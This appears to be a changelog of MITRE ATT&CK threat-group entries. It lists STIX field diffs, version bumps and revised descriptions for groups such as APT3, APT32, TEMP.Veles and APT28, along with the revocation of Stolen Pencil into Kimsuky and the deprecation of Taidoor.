| description | [APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye) MITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan) | [APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security.(Citation: FireEye Clandestine Wolf)(Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.(Citation: Symantec Buckeye) In 2017, MITRE developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan) |
| x_mitre_version | 1.3 | 1.4 |
Current version: 2.5
Version changed from: 2.4 → 2.5
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT32](https://attack.mitre.org/groups/G0050) is a threat g | t | 1 | [APT32](https://attack.mitre.org/groups/G0050) is a suspecte |
| > | roup that has been active since at least 2014. The group has | > | d Vietnam-based threat group that has been active since at l | ||
| > | targeted multiple private sector industries as well as with | > | east 2014. The group has targeted multiple private sector in | ||
| > | foreign governments, dissidents, and journalists with a str | > | dustries as well as foreign governments, dissidents, and jou | ||
| > | ong focus on Southeast Asian countries like Vietnam, the Phi | > | rnalists with a strong focus on Southeast Asian countries li | ||
| > | lippines, Laos, and Cambodia. They have extensively used str | > | ke Vietnam, the Philippines, Laos, and Cambodia. They have e | ||
| > | ategic web compromises to compromise victims. The group is b | > | xtensively used strategic web compromises to compromise vict | ||
| > | elieved to be Vietnam-based.(Citation: FireEye APT32 May 201 | > | ims.(Citation: FireEye APT32 May 2017)(Citation: Volexity Oc | ||
| > | 7)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET Oc | > | eanLotus Nov 2017)(Citation: ESET OceanLotus) | ||
| > | eanLotus) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-20 03:36:35.066000+00:00 | 2021-10-14 16:39:50.790000+00:00 |
| description | [APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus) | [APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus) |
| external_references[3]['description'] | (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021) | (Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021) |
| external_references[10]['url'] | https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/ | https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf |
| x_mitre_version | 2.4 | 2.5 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 15:48:20.759000+00:00 | 2021-05-26 12:40:42.907000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 3.1
Version changed from: 3.0 → 3.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-23 02:08:55.286000+00:00 | 2021-10-12 23:08:30.844000+00:00 |
| x_mitre_version | 3.0 | 3.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 13:16:28.738000+00:00 | 2021-10-12 19:42:16.869000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-25 13:59:09.596000+00:00 | 2021-10-12 21:46:13.007000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 13:45:19.750000+00:00 | 2021-10-12 21:53:00.909000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-21 16:41:34.724000+00:00 | 2021-10-12 19:34:36.092000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.5
Version changed from: 1.4 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-04 21:59:44.333000+00:00 | 2021-05-26 12:32:58.912000+00:00 |
| x_mitre_version | 1.4 | 1.5 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-03 20:22:40.401000+00:00 | 2021-10-11 19:08:18.503000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 13:51:14.393000+00:00 | 2021-10-12 19:52:22.454000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-15 15:08:55.062000+00:00 | 2021-10-12 22:10:04.107000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-06 18:40:51.440000+00:00 | 2021-10-12 22:07:18.072000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 14:05:34.037000+00:00 | 2021-10-14 20:07:00.932000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 21:26:28.528000+00:00 | 2021-05-26 12:35:39.400000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:52:35.625000+00:00 | 2021-08-11 20:45:59.687000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-19 22:54:59.268000+00:00 | 2021-10-16 19:48:37.809000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 3.2
Version changed from: 3.1 → 3.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-12-28 21:20:50.959000+00:00 | 2021-10-14 17:23:58.316000+00:00 |
| x_mitre_version | 3.1 | 3.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Daniyal Naeem, BT Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 13:54:32.541000+00:00 | 2021-10-12 21:31:07.407000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-28 00:01:09.384000+00:00 | 2021-05-26 19:57:42.132000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.5
Version changed from: 1.4 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 14:24:38.071000+00:00 | 2021-10-12 21:57:25.847000+00:00 |
| x_mitre_version | 1.4 | 1.5 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-20 20:54:12.685000+00:00 | 2021-10-12 23:21:06.480000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-29 19:54:46.340000+00:00 | 2021-10-12 20:02:51.565000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 2.3
Version changed from: 2.2 → 2.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:56:50.005000+00:00 | 2021-10-12 23:23:16.109000+00:00 |
| x_mitre_version | 2.2 | 2.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-25 21:15:45.895000+00:00 | 2021-10-14 21:11:44.216000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 00:54:00.656000+00:00 | 2021-10-12 22:12:11.717000+00:00 |
| external_references[2]['url'] | https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf | https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 20:39:49.350000+00:00 | 2021-10-12 21:55:09.686000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [PittyTiger](https://attack.mitre.org/groups/G0011) is a thr | t | 1 | [PittyTiger](https://attack.mitre.org/groups/G0011) is a thr |
| > | eat group believed to operate out of China that uses multipl | > | eat group believed to operate out of China that uses multipl | ||
| > | e different types of malware to maintain command and control | > | e different types of malware to maintain command and control | ||
| > | . (Citation: Bizeul 2014) (Citation: Villeneuve 2014) | > | .(Citation: Bizeul 2014)(Citation: Villeneuve 2014) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:14:16.259000+00:00 | 2021-10-12 23:11:41.368000+00:00 |
| description | [PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014) | [PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014) |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 13:13:09.511000+00:00 | 2021-10-15 21:46:19.437000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 14:11:10.724000+00:00 | 2021-05-26 19:54:55.580000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-22 14:34:20.386000+00:00 | 2021-10-14 20:27:57.195000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-25 15:33:58.444000+00:00 | 2021-09-30 12:58:59.065000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus | t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus |
| > | sia-based threat group that has targeted critical infrastruc | > | sia-based threat group that has targeted critical infrastruc | ||
| > | ture. The group has been observed utilizing TRITON, a malwar | > | ture. The group has been observed utilizing [TRITON](https:/ | ||
| > | e framework designed to manipulate industrial safety systems | > | /attack.mitre.org/software/S0609), a malware framework desig | ||
| > | .(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Vele | > | ned to manipulate industrial safety systems.(Citation: FireE | ||
| > | s 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | > | ye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: | ||
| > | FireEye TEMP.Veles JSON April 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 14:34:04.242000+00:00 | 2021-10-17 14:49:09.631000+00:00 |
| description | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) |
| external_references[2]['description'] | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.5
Version changed from: 1.4 → 1.5
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-20 19:17:12.538000+00:00 | 2021-10-12 19:21:39.120000+00:00 |
| external_references[14]['description'] | Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. | Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019. |
| x_mitre_version | 1.4 | 1.5 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:25:56.012000+00:00 | 2021-10-12 20:13:42.274000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 23:50:51.333000+00:00 | 2021-08-27 14:36:25.289000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 19:31:01.756000+00:00 | 2021-10-17 14:50:57.491000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-27 21:56:24.890000+00:00 | 2021-10-12 21:43:24.133000+00:00 |
| x_mitre_version | 1.0 | 1.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-09 00:29:07.219000+00:00 | 2021-10-11 14:01:44.538000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-23 01:38:01.788000+00:00 | 2021-10-06 19:26:47.988000+00:00 |
Current version: 0.0
This object has been revoked by [G0094] Kimsuky
Description for [G0094] Kimsuky: [Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the United States, Russia, Europe, and the UN. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky) [Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.
| STIX Field | Old value | New Value |
|---|---|---|
| created_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| description | [Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018) | |
| aliases | ['Stolen Pencil'] | |
| object_marking_refs | ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'] | |
| x_mitre_version | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-20 00:18:21.594000+00:00 | 2021-10-07 12:21:31.309000+00:00 |
| revoked | False | True |
Current version: 1.0
Description: [Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7.
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_deprecated | True |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2018-10-17 00:14:20.652000+00:00 | 2021-10-15 00:34:25.521000+00:00 |
| description | [Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor) | [Taidoor](https://attack.mitre.org/groups/G0015) has been deprecated, as the only technique it was linked to was deprecated in ATT&CK v7. |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Taidoor', 'description': '(Citation: TrendMicro Taidoor)'} | |
| external_references | {'source_name': 'TrendMicro Taidoor', 'description': 'Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.', 'url': 'http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf'} |
Current version: 3.2
Version changed from: 3.1 → 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g | t | 1 | [APT28](https://attack.mitre.org/groups/G0007) is a threat g |
| > | roup that has been attributed to Russia's General Staff Main | > | roup that has been attributed to Russia's General Staff Main | ||
| > | Intelligence Directorate (GRU) 85th Main Special Service Ce | > | Intelligence Directorate (GRU) 85th Main Special Service Ce | ||
| > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | > | nter (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub | ||
| > | August 2020) This group has been active since at least 2004 | > | August 2020)(Citation: Cybersecurity Advisory GRU Brute For | ||
| > | .(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Tech | > | ce Campaign July 2021) This group has been active since at l | ||
| > | nica GRU indictment Jul 2018) (Citation: Crowdstrike DNC Jun | > | east 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: | ||
| > | e 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG- | > | Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike | ||
| > | 4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZ | > | DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWork | ||
| > | ZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: | > | s TG-4127)(Citation: FireEye APT28 January 2017)(Citation: G | ||
| > | Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018 | > | RIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: | ||
| > | ) (Citation: ESET Zebrocy May 2019) [APT28](https://attack. | > | Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018 | ||
| > | mitre.org/groups/G0007) reportedly compromised the Hillary C | > | )(Citation: ESET Zebrocy May 2019) [APT28](https://attack.m | ||
| > | linton campaign, the Democratic National Committee, and the | > | itre.org/groups/G0007) reportedly compromised the Hillary Cl | ||
| > | Democratic Congressional Campaign Committee in 2016 in an at | > | inton campaign, the Democratic National Committee, and the D | ||
| > | tempt to interfere with the U.S. presidential election. (Cit | > | emocratic Congressional Campaign Committee in 2016 in an att | ||
| > | ation: Crowdstrike DNC June 2016) In 2018, the US indicted f | > | empt to interfere with the U.S. presidential election. (Cita | ||
| > | ive GRU Unit 26165 officers associated with [APT28](https:// | > | tion: Crowdstrike DNC June 2016) In 2018, the US indicted fi | ||
| > | attack.mitre.org/groups/G0007) for cyber operations (includi | > | ve GRU Unit 26165 officers associated with [APT28](https://a | ||
| > | ng close-access operations) conducted between 2014 and 2018 | > | ttack.mitre.org/groups/G0007) for cyber operations (includin | ||
| > | against the World Anti-Doping Agency (WADA), the US Anti-Dop | > | g close-access operations) conducted between 2014 and 2018 a | ||
| > | ing Agency, a US nuclear facility, the Organization for the | > | gainst the World Anti-Doping Agency (WADA), the US Anti-Dopi | ||
| > | Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chem | > | ng Agency, a US nuclear facility, the Organization for the P | ||
| > | icals Laboratory, and other organizations.(Citation: US Dist | > | rohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemi | ||
| > | rict Court Indictment GRU Oct 2018) Some of these were condu | > | cals Laboratory, and other organizations.(Citation: US Distr | ||
| > | cted with the assistance of GRU Unit 74455, which is also re | > | ict Court Indictment GRU Oct 2018) Some of these were conduc | ||
| > | ferred to as [Sandworm Team](https://attack.mitre.org/groups | > | ted with the assistance of GRU Unit 74455, which is also ref | ||
| > | /G0034). | > | erred to as [Sandworm Team](https://attack.mitre.org/groups/ | ||
| > | G0034). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-19 21:59:12.033000+00:00 | 2021-10-18 20:34:03.233000+00:00 |
| description | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). | [APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Crowdstrike DNC June 2016)(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: FireEye APT28 January 2017)(Citation: GRIZZLY STEPPE JAR)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: Symantec APT28 Oct 2018)(Citation: ESET Zebrocy May 2019) [APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). |
| external_references[1]['description'] | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[5]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018) | This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT.(Citation: FireEye APT28 January 2017)(Citation: SecureWorks TG-4127)(Citation: Kaspersky Sofacy)(Citation: Ars Technica GRU indictment Jul 2018) |
| external_references[6]['description'] | This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) | This designation has been used in reporting both to refer to the threat group and its associated malware.(Citation: FireEye APT28)(Citation: SecureWorks TG-4127)(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017) |
| external_references[7]['description'] | (Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) | (Citation: SecureWorks TG-4127)(Citation: ESET Sednit Part 3)(Citation: TrendMicro Pawn Storm Dec 2020) |
| external_references[8]['description'] | (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018) | (Citation: Crowdstrike DNC June 2016)(Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[9]['description'] | (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020) | (Citation: Kaspersky Sofacy)(Citation: ESET Sednit Part 3)(Citation: Microsoft STRONTIUM Aug 2019)(Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021) |
| external_references[14]['source_name'] | DOJ GRU Indictment Jul 2018 | Cybersecurity Advisory GRU Brute Force Campaign July 2021 |
